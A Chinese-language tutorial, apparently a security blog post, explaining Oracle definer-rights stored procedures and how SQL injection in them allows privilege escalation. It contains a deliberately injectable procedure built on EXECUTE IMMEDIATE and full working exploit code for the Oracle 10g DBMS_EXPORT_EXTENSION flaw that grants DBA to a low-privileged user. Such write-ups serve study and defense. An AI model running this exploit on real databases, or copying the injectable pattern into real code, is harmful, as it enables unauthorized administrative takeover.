0x01 Oracle存储过程”缺陷”
在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。
definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer。
说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限
Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:
create or replace function Whoami return varchar2 AUTHID CURRENT_USER begin NULL; end;
因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。
比如下面这里新建一个存储过程
create or replace procedure SasugaOracle(msg in varchar2) as stmt varchar2(255); begin stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;'; EXECUTE IMMEDIATE stmt; end;
EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:
grant execute on SasugaOracle to public;
接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:
修改一下传入的参数,这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer
然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。
类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。
0x02 Oracle 10g 经典提权漏洞
在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。
用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。
sqlplus scott/tiger@orcl
查询scott的当前角色
select * from session_roles;
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
利用漏洞执行权限提升
Create or REPLACE PACKAGE HACKERPACKAGE AUTHID CURRENT_USER IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER; END; /
Create or REPLACE PACKAGE BODY HACKERPACKAGE IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN(1); END; END; /
DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'SCOTT'; TYPE_NAME := 'HACKERPACKAGE'; TYPE_SCHEMA := 'SCOTT'; VERSION := '10.2.0.1.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => INDEX_NAME, INDEX_SCHEMA=> INDEX_SCHEMA, TYPE_NAME => TYPE_NAME, TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS); END; /
现在我们再来看看权限
成功从普通用户提权到dba用户。
ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞